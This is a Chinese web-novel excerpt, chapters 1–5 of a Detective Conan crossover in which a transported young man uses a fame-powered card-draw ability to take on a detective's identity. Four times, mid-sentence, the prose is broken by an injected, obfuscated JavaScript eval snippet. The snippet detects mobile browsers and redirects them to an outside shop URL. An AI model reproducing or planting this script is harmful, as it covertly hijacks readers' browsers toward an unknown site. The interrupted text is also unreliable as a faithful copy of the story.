《我用名声值换马甲》 1. 第 1 章 这是一个很普通的下午。 柔和的阳光尽情泼洒在草地、道路与路边的木制长椅上,裴真坐在这里已经思考了两个小时。他正在思考一件攸关自身的事。 那就是,他是如何从自家的楼层中来到这座异国的公园中的? 来往的行人有将目光投向他的,但很快就移了开来。他虽然神色上带上了点焦虑,但并没有做出什么异常的举动。在突兀到来一个陌生的地界后,他本能地想要将自己融入到周身环境中去。 耳朵里传来陌生又熟悉的语言,应该是日语吧,他猜,语音在一些影视中听过。可糟糕的是,他并没有系统性地学习过这一门语言,所以他到现在为止,仍然未能从环境中得到任何有关的线索。 淡淡的微光从人们的身上飘了过来,落到了他的身上,他伸出手,却只见这点微光毫无阻碍地融入到了他的身体中来。他几乎是下意识地明了这点微光的体量,“+0.03”。 没有人注意到这一幕,他们似乎都对这光点视而不见。也没有人在汇聚这些光点,只有自己能做到。 裴真观察了许久,才发现,只有关注到了自己的人,才能产出这些虚无之物。而越是留意自己,微光体量的数字就越大,在0.01与0.1间浮动。 在他视线的左下角有一个盛满了金色光液的容器,它呈饱满的圆形,里面装着的,正是他在这两个多小时中收集的成果。 犹豫了下,他轻轻触碰了下它。 ——天地在他的眼中瞬间倾倒下来。 无数的流光如星星般从未知的深处落下,绚烂又璀璨的景象博去了他所有的心神,他捂住被震慑住的心口,跌跌撞撞地在这不知名的地方往前行走。他的目光凝住在距离他最近地那颗星光上,伸出手,死死地将之握紧。 恍惚间,他好像听见了谁愤怒的惨叫声。 【成就点(黄金)已使用】(详情见下↓) 【穿越之人】 “你来自比星海更远的远方,告别了故乡,踏上这趟奇迹的旅程。你会在这之中结识新的朋友或敌人,没有什么能比你们更能扰乱命运了,又或者,你只是选择从他们身边行过……无论如何,你的存在本身便是不可思议。欢迎你,远道而来的客人。” 裴真剧烈地喘息着,他的手中还紧紧握着那颗颤动着的“星辰”,他的眼前还残留着那奇妙空间的色像,那行解释的文字琴弦般从他的眼底闪过,新的风从他的身边吹过,渐渐的,他开始重新听见了世间的声音。 有谁在他的耳边担忧地询问着他,声音轻柔悦耳。 裴真有些迷茫地抬眼望去,见到是一位年轻的女子关心地望着他,虽然听不懂,但她口中说着的,应该是一些关怀他身体的话。她身穿米色的针织外套,下身是过膝的百摺长裙,她的朋友正在一边看着他,是一位同样年轻的短发少女,只是眼神略有些奇怪。 裴真刚要摆摆手。他不是一个擅长交流的性子,陌生人的关心总是会让他无所适从。 但很快,两道数字从他的心上流过。 “+25”,“+18”。 他动作一顿,游离的目光瞬间凝聚起来。 少女形容美好,眼中脸上,是纯粹的如晴空的善意。她发丝飘飞,阳光在上面流连不去。 有一种不知何来的熟悉感。 他清咳了下,将这感觉挥去。现下最紧要的,是解决身份与语言问题。 他已知晓自己是为何来到此处了,穿越,还附带着一个抽奖般的金手指。金手指的能量来源还是与他人有关。 刚刚那一发的单抽使用的是不知何时拥有的“黄金成就点”,而现在他成就点的那一栏已经灰暗下去,“穿越之人”几个字空荡荡地立在那里,代表着他在这个陌生的世界,拥有了一道安然活下去的保障。 他仍然可以使用圆球中饱满的金液。 “-100“。 黑暗重新降下,这一次持续的时间很短,只是一瞬间,他就感到自己像是抓住了什么灰色的东西。 [杂物·灰石]【一捧糖果】 “不知何人将其打扮成了花束的模样,可惜,收到它的人并不认为它甜蜜。” 裴真有些头疼,他感到了从前抽卡游戏中怎么也抽不到想要角色的痛楚。 就在他想要使用英文交流,来寻找一处安全些的公共场所,如火车站医院之类的地方,去度过接下来到来的夜晚时,就见到还在等待他回答的女孩愣了下,从衣服的口袋中拿出一个震动不停的手机,按下接听键,与对面的人对话起来。 她一边说着,还用略带担忧的看了自己一眼。 而与此同时,裴真见到那再次填充了一些的圆球又获得了一些金色的光液。 “+35”,“+20”。 她似乎是在和很熟悉的人交流,而这些新增的数值,莫不就是来自手机对面的人? 为什么会这么多?是因为他们都是很特殊的人吗? 裴真来不及细想,他只知道,现在自己所拥有的光液,加上之前的,总数98,还差一些……还差一点。 如果真的没办法,那他就只能用之前“黄金成就点”抽出来的那个了,尽管它代表着很大的麻烦,可人嘛,总要顾及当下。 因为两位女孩的帮助,又吸引来了不少路过之人的关注,他们撇过来几眼,带来轻飘飘的微光。 不够。 裴真闭上了眼,某种神秘之物在微微震动,水波一样泛起涟漪。几乎是在同时,他见到有几团的光点同时向他冲来—— “+100”! 他重新睁开眼,福至心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175935|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵一般点上了圆形容器。 一道绿色的物品流星一般坠落在他的心神中,他仔细瞧去,见其翻了个面,以卡牌形状呈现在他的眼前。 [身份·青铜]【天野鹤(高中生侦探)】 “刚刚从乡下来到这所大城市的你,还没来得及去接收十多年没见爷爷留下的侦探所,就为这鳞次栉比的高楼大厦震慑住了。人潮涌往不休,却无一人为你驻足,你迷失在失坠般的巨大惶恐中,你不禁自问,你真的能在这里做好侦探这一职业吗?” 穿着崭新衬衫的少年人提着皮箱站立在高楼大厦间,卡面上的他正微微抬起头,用手遮掩住眉眼,似乎是在为来到一个陌生的环境感到不适,他面容模糊,形容渺小,身上还带有未被世俗沾染的清爽与干净。 裴真凝望着他,缓缓地输出口气。 他使用了它。耳边一直不停歇的令人烦躁的语言也终于能够理解了,那用手机的少女正在说:“……在去警局之前,我觉得我们还是先带他去趟医院吧,他看起来有些奇怪,刚才好像是心脏有问题。” 旁边少女的朋友也道:“他一直不回话,不知道是不是有什么难言之隐。” 裴真咳了下,他试探着说道:“别,我只是不好意思。” 听见自己突然说起日语,感觉挺新奇的。 他从怀里掏出一张纸条,“这上面是我爷爷留给我的地址,他前些日子过世了,律师通知我来处理一些身后事,但是我,”他轻声道:“我迷路了,身上的钱也不够。” 他撇开了目光,像是一位真正刚来到大城市的乡下年轻人。 穿着长裙的女孩接过纸条,她看了一眼后,面上忽然浮现出一抹惊讶的神情。 “你是,天野老先生的孩子?” 裴真也怔了下,他回想了下在使用青铜身份卡后,浮现在他记忆中的些许影像。幼时在田野边与同伴捕蛙的快乐,上学后未完成作业的羞愧,奶奶在去世前才告诉他有关爷爷消息的诧异……一幕幕,就像是电影一样从他回忆中闪过,他好似是度过了名为“天野鹤”这个人的十多年,但情感并没有被保留下来,就恍如隔了层玻璃,可以窥见,却不能体验。 这样也好。裴真心里想,不至于会混淆自己的认知。 “如果你是说天野侦探所的天野,”他谨慎道:“那我就是了。” “我知道那里,”女孩笑了起来:“天野老爷子和我爸爸喝过酒,他家的侦探社和我家只隔了一条街的距离,你要去那里,我可以带你去。” 之前的那种熟悉感又浮现出来,裴真做出惊喜状:“是吗?那太好了!对了,我还没有问过你的名字?” 对于想要帮助自己的人,知晓名字也是一种礼貌。 “毛利兰,”这位少女笑得灿若朝阳:“你可以叫我毛利兰!” 2. 第 2 章 穿越进柯学世界是种什么体验? 裴真第一时间便去回想自己还记得的剧情发展,但是很糟糕,因为剧集太多的缘故,他只是在最初看过几十集,主线也只是认识到有那么一个隐藏在黑暗面的酒厂,听说这部动漫后来发展到了一千多集,如此庞大的数量让他望而却步,再也没有打开过。 现在他便尝到后果了。 他看了一眼少女,幸好这位长发的女主角在短视频中还算有名,让他在听到她名字的第一刻,就意识到了自己的处境。 不想沉默太久,他很快便道:“我叫做天野鹤,刚从火车站来这里,抱歉,因为找不到地方太焦虑了,让你们误会我身体出了问题……” “没事就好。”毛利兰松了口气,她笑了起来:“天野老爷子的家在哪里我知道,我带你过去吧!” 裴真表现出一丝犹疑,任谁遇见第一次认识的陌生人,都不会完全地相信她,有戒备心才是正常的事。 “小兰可是牺牲了自己逛公园的时间来帮助你的哦,”旁边短发的女孩助攻道:“看你连问路也不会的样子,我们给你指出路,你真能自己找到吗?” “哈哈,”裴真只好装作不好意思道:“那还真是麻烦你们了。” 他们大概走了有半个钟头,才来到一处干净的街道。天野侦探所占地面积不大,有三层楼高,门牌上因长久未打扫沾染上了灰尘,旁边的小院中落满了枯黄的树叶,环境一片寂寥。 因为一次单纯的“抽卡”,便获得了这样一个身份,和这样一栋价值不低的房屋,看那卡面前注释的“青铜”二字,这次的奖品恐怕对于自己的金手指来说,根本算不得什么。想到这里,裴真神情莫名。 婉拒了两位热心少女帮助的裴真收拾了很久,才收拾出一个勉强可以住人的小房间,幸好房子的水电还没有断,让他不至于手足无措,还要想办法去跑一些专门的部门。 等到天完全黑了,他才拥有了一个完全寂静的、属于自己的空间。独自一人坐在地板上,望着窗外已经亮起的灯火,到了此刻,他才终于有了一丝穿越到异世界的真实感。 “为什么会是我?”这样的问题只浅浅在他的心中转了一圈就被按了下去,裴真深知,有些时候过于计较没有答案的问题,只会将自己拉入无底的深渊,向前看,这是对于自己的自救。 搜索了身上,一个带着圆圆笑脸的钥匙串,一部还能开机的中文手机,几张红色的纸钞……可惜,手机连不了网,纸钞在这片土地上不知能否使用,而钥匙,也开不了一扇回不去的门。 但还有一些其他的东西,一份冷的寿司,一瓶没打开的水,一张贴有他头像的学生证……这些都是只属于“天野鹤”的东西。那张身份卡,简直就像是生成了一条完整的人生链,将之嵌入现实,连名柯女主角的记忆中,也有关于那位姓氏为天野的老人的印象。 一切都圆融无缺,找不到一点不协调。 挺可怕的,但总算是有了容身之处。裴真一边这样想着,一边缓慢地吃掉了那份冰冷的寿司。 今夜是平静的一夜,但对于一些人来说,是繁忙而紧促的一夜。在某道命令下,许多道身影涌入米花町,他们在以公园为中心,似乎是在寻找着什么。 接下来的好些天里,一些感知敏锐的人,都察觉到了些微的不对劲。 某位现如今已是小学生的侦探更是因为自身的遭遇而对周围的环境有着过激的警戒,在放学回来的路上,他牵着自家小兰姐姐的手,低头陷入了沉思。 “怎么了,柯南?”少女颇为期待道:“爸爸昨天晚上解决了一件案子,说要出去请我们吃饭,你是想去吃什么料理呢?” “什么都可以吗?”小学生用一种带着雀跃的语气道:“我们去吃回转寿司,不,咖喱饭也是可以的。”他犹豫了下:“呐,小兰姐姐,你有没有觉得,最近附近多了很多陌生人?” “有吗?”小兰迷惑地思索道:“这里距离商业街很近,有陌生人也正常啊。” 是有目的的陌生人,昨天据说还有户籍科的人上门登记,现在走在路上,都感觉好似有人在注视着自己……会是那个黑衣组织吗?不,这种规模的搜寻,更像是国家机器。 苦思冥想的他没有注意到,在其没有注意到的暗处,有带着面具的人没有感情地巡视完此处,收回目光后,一个跳跃间,便消失在了这里。 裴真没感受到这种异常,他还没来得及适应周身的环境,但因为某种原因,就算真的有人找上门来,他也不会觉得惊讶。他将自己简单收拾了一下,准备了一份简单的小礼物,就前去拜访毛利宅了。 这是为了感谢之前毛利兰和那位叫园子的少女的帮助,也是一位新入住邻居的惯常礼仪。 小兰很热情地接待了他,那位叫毛利的大叔同样很“热情”,他一边打着酒嗝,一边醉醺醺大笑:“是天野老哥的孙子吗?好说好说,以后有什么事都可以来找我毛利小五郎,想当初,我和老哥可是渔场中的双霸,老哥的很多技巧,还是从我这里学去的……嘿嘿……” “+25”。 裴真注意到,这个数字是在场三个人提供的数量总和,他偏过头望去,见到一个穿着小蓝西装,带着红领结的男孩正用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175936|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一种暗含打量的目光看着他,看到他注目过来,立马就换成了一副天真的笑脸。 糟糕,完全不擅长和一位小孩子相处,假的小孩也不行。 身旁的小兰则努力拉着面色酡红一片的毛利小五郎:“爸爸,这也太失礼了!” “没关系,”裴真笑起来:“是我来访的有些突然,小五郎先生今天也是休息日。” 裴真没有在毛利侦探事务所待太久,在将拜访感谢地礼物留下后,就很快离开了。小兰将他送到门口,之后就回转过身去照顾她那醉的迷糊的爸爸,而在踏出事务所的最后一步前,他回过头去,与一道镇定又平静的目光交错而过。 心念同时在金色溶液球轻轻一点,球中一空—— 脚下踩过湿溜溜的未知之地地面,他抓起一颗淡青色的星辰。 [技能·青铜]【推理】 “推理的迷人之处在于,你永远可以保持你的好奇心,并用热忱且理性的思维去探究这个世界。” 这是一张黑色的剪影的卡牌,牌上人带着猎鹿帽,叼着烟斗,五官模糊,作沉思姿态,是一副很经典的侦探形象。 将注意力从又伪装起小孩子笑的柯南侦探身上移开,裴真朝着家的方向行去。 转过一道弯口,一位带着半面黄金兔子面具的人风一般从他的身边掠过,眼前的刘海被吹得扬起,他面不改色继续往前,直到看到天野事务所的轮廓。 他还有一些钱,倒是不那么急着立即开始工作。他需要探寻一下这个世界,还有他自身,与他携带的那个类似金手指的东西。 直到夜晚的时候,那些戴着兔子面具的搜寻人才终于回到了他们高塔般的总部,向着他们的统领者汇报近日的成果,而裴真则是独自一人坐在窗台边,观看起了这几天的收获。 “‘身份’、‘技能’与‘杂物’应该说的是卡牌的性质,未来未必不会有更多其它的分类,而‘灰石’‘青铜’该说是物品的等级,好的质量应当凌驾于其上,”他默默地思索,“越珍贵的牌,带给我,带给这个世界的影响就越大。” 他将目光投向在初来这个世界时得来的那抹金光—— 底色为金的牌面上,巨大的瑰丽的大剑占据了大半的视野,人的视线很难从它身上移开,它就像是从高天降下的审判,俗世万物都脱逃不了它的威权。 可在它的正下方,它的剑尖所对的地方,有一个人正站在倾斜的天台边缘,风将他的衣摆往后吹得飞起,天空蔚蓝如海,他张开了双手,好似在笑。 在大笑。 渺小又热烈,任谁也无法将之略去。 3. 第 3 章 这张卡已经被使用。 裴真没有再去想它给自己带来的麻烦,它的力量让自己在这个世界稍稍有了些依仗。而到了现在,它依旧还在给自己不断地带来影响。 “+9”,“+17”,“+5.6” 似乎是有谁注意到自己,就能够给他的这个圆球中添加溶液,并且,裴真有些不确定,那些剧情中的人物,比起无关的路人,要给他贡献更多,更是在首次见面……仅听闻的时候,就给他提供出几个大数字。 是“存在”还是“关注”?裴真不得而知,比起这些虚无的概念,他想了想,稍作综合了下,或许“声名”更有实感些,让他有可以抓住的感觉。 还有那“黄金成就点”,是要自己去做什么了不得的事? 为了这些,自己要去参与剧情?还是并不加入,游离在外,用另一种方式让他们关注自己?那些普罗大众,他们纵使贡献点小,但数量多起来,也会是很大的一笔收获。裴真思索良久,叹了口气。 好烦,一定要外交吗?主动参与剧情总有一种有所图谋的感觉,在原世界的时候,他就没有多少朋友,不可能换了一个世界就能轻易改变,而这些人,本身就是世界中最顶尖的那批人,一旦态度有所不对,肯定不能逃脱他们的眼睛。 这一夜,他思索了良久。 总部中,戴着面具的人弯腰低头道:“属下未能找到……” “无需自责,”从高台上走下来的,是一个高大威严的老人,他发须皆白,长袍轻动,“那一瞬的偏差值波动,我等也差点忽略了过去,时间太短,找不到也正常。” “但属下找到了另一人。” “哦?”老人沉下声音,令本就压迫的场所更显威严:“什么人?” 几个同样戴着面具的人一起走上前来,他们中心抬着一个全身被禁锢住的男人,他四肢被一种环绕着能量的铁环锁住,躯体也被钉在后面的铁板上,身上环绕着多重的监禁条纹。 有人走上前来,将他头上的布袋揭开。露出的是一个长发的瘦削男人的脸,他先是眯了下眼睛,然后感受到了什么,死死地盯着在他面前的老人,“你是……” “你身上有石盘的力量,”老人自语道:“奇怪,似乎又离开了。” 这句话刺激到了那个男人,他蓦然疯狂起来:“那是我的!我的力量!我的权能!我的!!都是我的!!!” 他竭尽全力地挣扎,一环环的能量条纹顿时大亮。 “你们是在哪里找到他的?” “在另一个城市,”面具人道:“城市警卫系统检测到波动,警方也有人联系过来,说是有危险能力者在市内行凶,已经伤了几十人。因为看上去精神异常,所以被送往研究中心,后来因为他的一些话,引起了我们的一些人重视。” “是吗?”老人淡淡说着,又看向了男人,他似乎明白了什么,“得到后又失去,就好比乍明后又复暗,很难让人不心生狂澜。只是,命运是奇妙的,石盘在最后没有选择你,这真的能不说是一件好事吗?” “住口!住口!”男人憎恨道:“到底是谁?小偷!强盗!骗子!明明应该是我……” 老人摇摇头,吩咐属下道:“把他带下去吧。” 除了这些,这个人并不知道新任者的身份。 “不!等等!”男人不顾一切扭动起来,像条濒临毁灭的虫子:“黄金,你是黄金!帮帮我,帮我把力量取回来,我的能力是‘干涉’,我可以随便夺取人的身体,只要你帮我,我以后都会听你的,你想让谁干什么就干什么……” 但老人已不想再听,让人将这个男人带了下去。 大厅重新回复了寂静,良久,才响起一声若有若无的叹息。 第二日的清晨。 “+23”,“+15”,“+3.4”,“+2.9” 昨晚又是几团微光飘入,裴真已学会了不去细究它们的来处。今天的天气昏沉,空气中满是雨水留下的潮湿气息,他举着伞,走过一条陌生的街道,预备要去往今日的目的地。 他已决定,会尽量去获取能使他活得更好的能量值,但也不必为此殚精竭虑。生活的本质是生活本身,急迫除开会让自己增添压力外,只会创造出更多错误。 他越过一道清浅的水洼,就要绕过眼前这个弯口,而便是在此时,他听见一边垃圾桶后的小巷道里,传来一阵极轻的拉长的软绵绵的叫声。 “你是从哪里找来这个小家伙的?”穿着白大褂的青年医生有些怜惜地给台上的“病人”包扎好伤口,抬头看向原本是预备在他这里领养走一只宠物的年轻人。 “路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175937|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上就遇见了。”裴真眉头微皱。 医生叹了口气:“外伤还好说,我都给它抹上药了,但是内里……它太虚弱了,恐怕撑不下去。” 裴真瞧了一眼灰色毛发的小家伙,那是一只灰色的短毛猫,此时正躺在垫上了一层毯子的台上,一双眼睛没多少神采。 “新手养宠官其实更推荐一只健康的宠物,”医生犹豫了下,还是说道:“这样的情况,除了要耗费更多的钱财外,结果通常也……不大好。” 裴真看了下四周,安置笼中的动物们都健康有活力,有几只可爱的还在偷偷打量他。 他思索了刹那,最终还是道:“我是想要养一只猫,狗也可以,你们这里的看起来都很好,选谁都可以。但是,只有它需要帮助,那我选了它吧。” 医生笑了起来:“好吧,幸运的小家伙。”他抚摸了下灰毛猫,感叹道:“我将你坏死的部位切割下来了,接下来,只要撑过这段时期就好。” 裴真带着一大包的药物和猫粮回去了,医生已经尽了力,接下来就要看它自己的了。他为此在侦探所一直呆了三天,期间微光投来几团,数量不大,但也将圆球填满了一遍,可等到三天后的夜晚,裴真一直想要见到的场景还是没有出现。 三天内只勉强吃了几口食物的灰猫这次颤颤巍巍地爬了起来,裴真没有在房间中开灯,但它还是准确地凑到了他跟前,裴真感到手上一片湿热,原来是它在舔舐他的手。大概,它也知道了自己的结局吧。 裴真沉默不语,他轻点了一下圆满的溶液球,一道黯淡的星星落了下来。 [杂物·灰石]【流通用纸钞】 这是一叠厚厚的日元钱币,数量约有十万左右。 “有人认为,金钱能够买到一切,你认为呢?”似乎有谁在说。 “看来奇迹没能发生呢!”裴真蓦然笑了。它没有降临在你身上,也没有降临在我身上。裴真看着灰猫趴了回去,双目闭上,呼吸逐渐微弱。 一只手放在了它的头上,二者之间迸发出明亮的白光。“算了,反正也是想要尝试下的。”灰猫朦朦胧胧中听见有人说。 然后,在黑暗中,它倏然睁开双眼,幽亮的双眸往上望去,与另一对眼眸直直相对。 两个不同物种的不同瞳孔中,却散发出相同的神采! 4. 第 4 章 灰猫浑身泛着微微的白光,一反刚才的颓然,从沉寂中轻轻跃起。 “这就是,换了一个身体的感觉吗?”猫内里的裴真略略思考,“和之前身体的联系也还没有断,只是我将重心转移到了这边,所以本体的感觉有些朦胧。” 这项能力是最初黄金级抽卡附带的能力,因为效用奇诡,所以他预备先用其他生物来尝试一下的,不成功也不强求。 “身体好像在慢慢变好,”裴真有些惊讶:“是我带过来的那股能量?” 一缕疑惑不解的情绪从旁边传来,裴真“侧目”,在意识层面,他意识到了,是灰猫本身在“注视”着他。 “不行啊,对精神和灵魂这之类的东西我完全不懂,连防护也没有,我可以入侵,别人就不能反击么?”裴真不用想就知道,要是自己的意识体受伤了,那可是入侵了多少具身体也换不回来的。 “并且,”他看向了视线的左下角,他的金手指光液圆球还在,只是颜色变成了灰色,一副无法触及的样子:“可以实时收集‘声望’,但无法抽取卡牌。嗯,这是什么?” 他注意到,自己竟是已经装备了一张卡—— [时装·灰石]【猫】 “它躲过暴雨,避过日晒,从石子下逃生,收集残羹维生,在这座大大城市的小小角落里努力活下去。但最终还是逃不过病痛。它躲在沟里残喘,直到它遇到了你,它的命运自此改变。” 这一只普普通通的小灰猫想对你说:“喵,谢谢你。” 这居然也能是一张卡吗?裴真不擅长听取温情的言语,他飞快瞟过一眼后,思考起来:“那岂不是说,若是我不限制地去偷取别人的身体,那他们就会全都变成一张张‘时装’卡?” 真是可怕啊,这种仿佛卡bug的方式,还有它对社会造成的毁灭性后果。 察觉到了小灰猫想要过来,裴真摇了摇“头”,阻止了它的过于接近。想了想,他又同时操纵起自己本身的身体来。于是,这一个夜晚,就在他同时锻炼两具身体的练习中过去了。 ===== “呼哈哈、哈……”胸口沉闷的像是挂上了铁,周边的草狭长尖锐犹如荆棘,暗夜之中,他只顾着闷头往前跑,但要跑去哪里,要去做什么,他一概不知。他只知道,若是跑得慢了,被后面的魔鬼抓到,他将陷入到又一轮的地狱当中。无论如何,他都要从这里逃出去! 看不到一丝光,这条路的尽头是通向哪里?是另一个地狱?后面传来的声音是什么,是那个人追来了?好累,两条腿都不是自己的了,还要多久,要到哪里,要到什么时候…… 床上的人倏然睁开眼睛,他猛的坐起身,胸腔里还残留着从噩梦中带出的惊惧。他慢慢呼吸,调整好自己的心情,从床上爬起来后,沉默着去上了趟厕所,之后放水刷牙洗脸,吃起了煎好的冷冻牛排早餐。 用刀叉将之切开,露出有纹理的切面,再用牙齿一点一点将其咬碎,吞咽下去。他吃得很慢,一点也不见急切,等到吃完了,就将餐具扔进池子里,等到晚上的时候再一起清理。 将衣服拿起穿好,收拾好工作要用的物品,他行过一面遍布划痕的老旧的墙,“砰!”门被大力关上,一层粉灰簌簌震落。他跑步前进,因为公司距离这里有些远,他需要加快些速度。 ———————— ——我的愤怒犹如地狱烈火,不焚销毁骨,不解心头之恨! ===== 一段时间过去。 裴真稍微适应了一些异国的生活。近日有律师上门,交接给了他这个身份爷爷留下的一点遗产,不多,但足够他度过几个月的时间。 那只猫被他取名叫做“宝石”,平常的时候很乖,裴真给它什么就吃什么,对裴真的亲近也从不躲避,但有人上门的时候,却总是躲到角落里,用警戒的目光窥视他们。它还需要更多的时光,来迎接新的生活。 裴真也不催促。他与它都一样,是这个新环境的闯入者。 有过去的客人上门,听闻了天野老先生逝去后,叹息一声,安慰了他几句,给他贡献了零点几的光点;毛利侦探所下层租出去的咖啡店是这附近味道最好的快食店,因为不用走太远,所以裴真去过几次,遇上过两次原著中人,得到了十余点的光液。这便是他这段时日里的收获了。 裴真预备再过几日,就打开侦探社经营,虽然一开始可能赚不到什么钱,但也算是他融入这个世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175938|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界的一种方式。可就在他这么想的时候,一封信被送到了他的手上。 “尊敬的天野青斋阁下: 您为我做出的分析我已全部知晓,舍妹的处境确实令人堪忧,但因为距离与时日的关系,我无法到达,所以恳请您,代替我去往那个地方,探望她的近况。若她陷入困境,您可稍稍伸出援手,事后将以酬金相谢。 敬具 今井珠” 随信寄来的,还有一个地址,和一张十万日元的支票,标明了是定金。 裴真有些惊异,他翻来覆去地看了这信好几遍,确认了这不是寄给他的信。“天野青斋,”他思索道:“这是这个身份爷爷的名字啊。” 竟然还有寄给他的信! 就好像真有一位老人,在经营着这间侦探社的时候,给他的客户送去了缜密关怀的信,并约定好了,在什么时日给出回复。 裴真沉默了下,他很快明白过来,一个人若是真的存在,就必不可少地要与外界产生联系,他接收了“老人”遗产,那么,一些遗留下来的事情,也同样会找上他。 他可以回信告知那位寄信人现状,想来在知道老人去世的消息后,对方应该会收回这份委托。这并不是一件必须去做的事。裴真也没有自己得到了财产,就说要承受其恩,回报般将之解决的责任感。 那是将自己圈进了不存在的怪圈,因为这些事物,究之本质,都是金手指给他带来的。 可是,这些事情,不就应该是侦探所该处理的事吗?他刚想将侦探社开张,事情就找上门来,这对一个过于年轻,年龄和履历都无法说服他人的新人侦探来说,不正是一件恰好的事吗? 裴真思考了一夜,终究是最初的那张卡给了他不少的信心。他知道,自己对于这个地方有一种雏鸟般的眷恋安心感,这是他在异界的第一个落脚处,是完全属于他的房子——但他终究还是要走出去的。 莽出去也好,失败了也好,最重要的是开始。 他定下了去往那个地方的车票。 时间已入秋季,裴真准备好了几件合适的衣服,看了“宝石”一眼,联系了宠物的店铺,将之寄养在那里一段时间,便开始了他在这里的第一次外出。 5. 第 5 章 “什么?居然要我一万日元一天!”一家门店内,传来一阵搞怪的怒吼,声音似乎非常熟悉:“你这里居然比米花町还要贵,你这车难不成镶了金钻不成!” “要是镶了钻,那可就不止一万日元了,”阴阳怪气的声音回答道:“你到底租不租,不租就赶紧出去,不要打扰我做生意!” 裴真推门的手停在了把手上,他看了看除开中间那行人,并没有其他客人的店内,一时不知该不该进去。而其中最敏锐的小家伙已经把视线投了过来,似是没想到能在这里见到他,他的眼中也有一丝惊异。 拉了拉身边人的衣角,柯南小声道:“小兰姐姐,你看!” 原本还在担忧看着爸爸和店主的小兰也转过头来,“啊,是天野君。” 裴真还是走了进去,他笑着打招呼道:“没想到能在这里见到你们,毛利,还有江户川。” 一边的小五郎还沉浸在与租车店店主的争论中,没注意这边人的到来。小兰有些尴尬,她解释道:“爸爸是接了一个邀请过来做客的,就是没想到,这个地方太偏远,那位邀请人的住宅是在山上,靠我们自己走恐怕走到天黑都走不到,所以想租辆车代步。” “你这家伙,”毛利小五郎额上生出井字:“是知道距离这里最近的旅馆都有几公里,所以故意抬高价的吧!” 店主故意笑道:“你知道就行。” 没理他们,柯南歪着头,好奇道:“天野哥哥又是为什么来这里呢?难不成也是接到了长川右介的邀请吗?” “你是说那位名作家长川右介吗?”想到自己在网上调查出来的资料,裴真摸了摸下颌,弯下腰道:“不是哦,我虽然也是要去到那里,但我要去找的是另外一个人。” “是接到了什么案件的调查委托吗?”柯南锲而不舍。 “柯南!”小兰嗔怪道。 “这没什么,”裴真是知道这位小侦探的热情的,他不介意说出来:“是我爷爷过去接到过的委托,因为时间还没过,所以就过来看看。” 见提到了他的伤心事,小兰连忙道:“看来天野君已经决定要继承侦探所的事业了,老先生也是后继有人了。” “也不知道能不能行,”裴真没将话说满:“希望能在大城市里生存下去吧。”他看向下角的光液,+27,这一次遇见,就抵得过他之前两次在咖啡店同他们的碰见,或许情绪也会对他获取光点有所影响。 天色已经暗了下来。 汽车开动的声音轰隆作响,最终还是将价格谈下来的毛利小五郎臭着一张脸,转动着方向盘,一路驶向盘曲狭隘的山道,他目光紧盯着前方,口中不留情道:“该死的死胖子,将店开在这种地方,就是为了宰我们一刀?还有那什么作家,将家里的房子建在这种地方,也不知道偷偷摸摸地是在干什么事……” “爸爸。”每当这个时候,毛利兰就很无力。 “哈哈,”裴真试图活跃气氛:“也幸好我能在这里遇见毛利先生你们,这样租车费平摊下来也不算多,否则的话,我才是欲哭无泪呢。” “天野君,”毛利兰想要说些什么。 裴真见她脸色,立马就头疼说道:“毛利小姐还是不要说了,我不习惯这种推推拉拉的事,如果你不想让我回去后还要纠结半天,还是不要拒绝我应该出的力吧。” 毛利兰只好闭上嘴巴。 柯南坐在二人中间,他膝盖上摊开着一本书,虽然道路很曲折,但好歹不颠簸,车内的灯光也很柔和,这让他看书的行为没有受到阻拦。突然,他开口说道:“这本长川右介的书当年是获得了推理协会年度最佳奖的呢。” 裴真想要查手机,如果说一开始,他还抱着只是来看看那位委托人近况的念头来的,那么,在他看到这一家子人的时候,他就明白,接下来的事,恐怕会朝着刑侦剧的方向前进。 “好像是当年很火。”意外的是,连不关注这些的毛利兰都听说过,“因为很凄清唯美,所以很多女生谈论过这本书。” 